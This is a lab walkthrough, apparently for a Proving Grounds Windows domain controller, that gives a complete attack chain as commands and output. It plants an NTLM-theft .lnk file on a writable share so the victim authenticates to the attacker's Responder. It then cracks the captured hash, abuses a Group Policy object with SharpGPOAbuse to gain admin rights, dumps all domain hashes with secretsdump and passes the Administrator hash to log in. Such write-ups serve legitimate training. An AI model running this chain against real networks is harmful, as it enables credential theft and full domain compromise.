

```

(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.172.172 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.172.172:53
Open 192.168.172.172:88
Open 192.168.172.172:135
Open 192.168.172.172:139
Open 192.168.172.172:389
Open 192.168.172.172:445
Open 192.168.172.172:464
Open 192.168.172.172:593
Open 192.168.172.172:636
Open 192.168.172.172:3268
Open 192.168.172.172:3269
Open 192.168.172.172:5985
Open 192.168.172.172:9389
Open 192.168.172.172:49666
Open 192.168.172.172:49668
Open 192.168.172.172:49667
Open 192.168.172.172:49674
Open 192.168.172.172:49675
Open 192.168.172.172:49680
Open 192.168.172.172:49707

PORT      STATE SERVICE      REASON  VERSION
53/tcp    open  domain       syn-ack Simple DNS Plus
88/tcp    open  kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2024-04-26 09:00:42Z)
135/tcp   open  msrpc        syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: vault.offsec0.,
Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?    syn-ack
593/tcp   open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped   syn-ack
3268/tcp  open  ldap         syn-ack Microsoft Windows Active Directory LDAP (Domain: vault.offsec0.,
Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped   syn-ack
5985/tcp  open  http         syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       syn-ack .NET Message Framing
49666/tcp open  msrpc        syn-ack Microsoft Windows RPC
49667/tcp open  msrpc        syn-ack Microsoft Windows RPC
49668/tcp open  msrpc        syn-ack Microsoft Windows RPC
49674/tcp open  ncacn_http   syn-ack Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc        syn-ack Microsoft Windows RPC
49680/tcp open  msrpc        syn-ack Microsoft Windows RPC
49707/tcp open  msrpc        syn-ack Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
```


Use `enum4linux-ng` to find the user `ntbtduzy`; try CrackMapExec (CME) (guest may work)


```

```

(kali㉿kali)-[~/pgplay/enum4linux-ng]
└─$ python3 enum4linux-ng.py 192.168.172.172

=====
| RPC Session Check on 192.168.172.172 |
=====
[] Check for null session
[-] Could not establish null session: STATUS_ACCESS_DENIED
[] Check for random user
[+] Server allows session using username 'ntbtduzy', password ''
[H] Rerunning enumeration with user 'ntbtduzy' might give more results

(kali㉿kali)-[~/pgplay]
└─$ crackmapexec smb 192.168.172.172 -u ntbtduzy -p "" --shares
SMB 192.168.172.172 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:vault.offsec) (signing:True)

```

```
(SMBv1:False)
SMB 192.168.172.172 445 DC [+] vault.offsec\ntbtduzy:
SMB 192.168.172.172 445 DC [+] Enumerated shares
SMB 192.168.172.172 445 DC Share Permissions Remark
SMB 192.168.172.172 445 DC --- ---
SMB 192.168.172.172 445 DC ADMIN$ Remote Admin
SMB 192.168.172.172 445 DC C$ Default share
SMB 192.168.172.172 445 DC DocumentsShare READ,WRITE
SMB 192.168.172.172 445 DC IPC$ READ Remote IPC
SMB 192.168.172.172 445 DC NETLOGON Logon server share
SMB 192.168.172.172 445 DC SYSVOL Logon server share
''' Try NTLM Theft: first download ntlm theft \(https://github.com/Greenwolf/ntlm theft\) and create a lnk file
```

```
(kali㉿kali)-[~/pgplay/ntlm_theft]
└─$ python3 ntlm_theft.py -g lnk -s 192.168.45.189 -f test
Created: test/test.lnk (BROWSE TO FOLDER)
Generation Complete.
''' Start responder, then use smbclient to login to `DocumentsShare` and upload the `test.lnk`
```

```
(kali㉿kali)-[~/pgplay]
└─$ sudo responder -l tun0

(kali㉿kali)-[~/pgplay]
└─$ smbclient -N //192.168.172.172/DocumentsShare
Try "help" to get a list of possible commands.
smb: > put test.lnk
```

---

[+] Listening for events...

```
[SMB] NTLMv2-SSP Client : 192.168.172.172
[SMB] NTLMv2-SSP Username : VAULT\anirudh
[SMB] NTLMv2-SSP Hash :
anirudh::VAULT:2f856e465c941210:6DEDB7538B40FFD6E6C5697039F28756:0101000000000000F891E69897DA014B03EA1A2D10
''' Then use john to crack the NTLM hash, obtaining user anirudh and password SecureHM
```

```
(kali㉿kali)-[~/pgplay]
└─$ john vault --wordlist=/home/kali/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
SecureHM (anirudh)
''' Log in with `evil-winrm`; on `C:\Users\anirudh\Desktop` get local.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ evil-winrm -i 192.168.236.172 -u anirudh -p SecureHM
```

```
Evil-WinRM PS C:\Users\anirudh\Desktop> type local.txt
a36dcf92ca6fcb690b939a31ba023087
''' Check whoami /priv — it shows SeRestorePrivilege. Use net user for account details
```

```
Evil-WinRM PS C:\Users\anirudh\Documents> whoami /priv
```

#### PRIVILEGES INFORMATION

| Privilege Name                | Description                         | State   |
|-------------------------------|-------------------------------------|---------|
| SeMachineAccountPrivilege     | Add workstations to domain          | Enabled |
| SeSystemtimePrivilege         | Change the system time              | Enabled |
| SeBackupPrivilege             | Back up files and directories       | Enabled |
| SeRestorePrivilege            | Restore files and directories       | Enabled |
| SeShutdownPrivilege           | Shut down the system                | Enabled |
| SeChangeNotifyPrivilege       | Bypass traverse checking            | Enabled |
| SeRemoteShutdownPrivilege     | Force shutdown from a remote system | Enabled |
| SeIncreaseWorkingSetPrivilege | Increase a process working set      | Enabled |
| SeTimeZonePrivilege           | Change the time zone                | Enabled |

```
Evil-WinRM PS C:\Users\anirudh\Documents> net user anirudh
```

User name anirudh

Full Name

Comment

User's comment

Country/region code 000 (System Default)

Account active Yes

Account expires Never

Password last set 11/19/2021 1:59:51 AM

Password expires Never

Password changeable 11/20/2021 1:59:51 AM

Password required Yes

User may change password Yes

Workstations allowed All

Logon script

User profile

Home directory

Last logon 3/23/2024 5:01:35 AM

Logon hours allowed All

Local Group Memberships \*Remote Management Use\*Server Operators

Global Group memberships \*Domain Users

The command completed successfully.

``` Then use `BloodHound`

See [SharpGPOAbuse - Abuse GPO] (<https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse#sharpgpoabuse-abuse-gpo>)

```
Evil-WinRM PS C:\Users\anirudh\Documents> upload /home/kali/pgplay/SharpGPOAbuse.exe
```

```
Evil-WinRM PS C:\Users\anirudh\Documents> ./SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "DEFAULT DOMAIN POLICY"
```

```
Evil-WinRM PS C:\Users\anirudh\Documents> gpupdate /force
```

```
Evil-WinRM PS C:\Users\anirudh\Documents> net user anirudh
```

User name anirudh

Full Name

Comment

User's comment

Country/region code 000 (System Default)

Account active Yes

Account expires Never

Password last set 11/19/2021 1:59:51 AM

Password expires Never

Password changeable 11/20/2021 1:59:51 AM

Password required Yes

User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon 3/23/2024 5:01:35 AM

Logon hours allowed All

Local Group Memberships *Administrators *Remote Management Use
*Server Operators

Global Group memberships *Domain Users

The command completed successfully.

``` secretdump

```
(kali㉿kali)-[~/pgplay]
└─$ impacket-secretsdump vault.offsec/anirudh:SecureHM@192.168.208.172

[*] Dumping Domain Credentials (domain\uuid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:54ff9c380cf1a80c23467ff51919146e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c660d4355b25d08a42130cb43d93418c:::
anirudh:1103:aad3b435b51404eeaad3b435b51404ee:74c8075e8506407ebe49bb8de63f6057:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:8ec06d8ac0def0ea0e43a14b1a978351:::
``` Log in with `evil-winrm`; on `C:\Users\Administrator\Desktop` get proof.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ evil-winrm -i 192.168.208.172 -u administrator -H 54ff9c380cf1a80c23467ff51919146e
```

Evil-WinRM PS C:\Users\Administrator\Desktop> type proof.txt
1c15d60684fe9e5c29272a073e2fb534
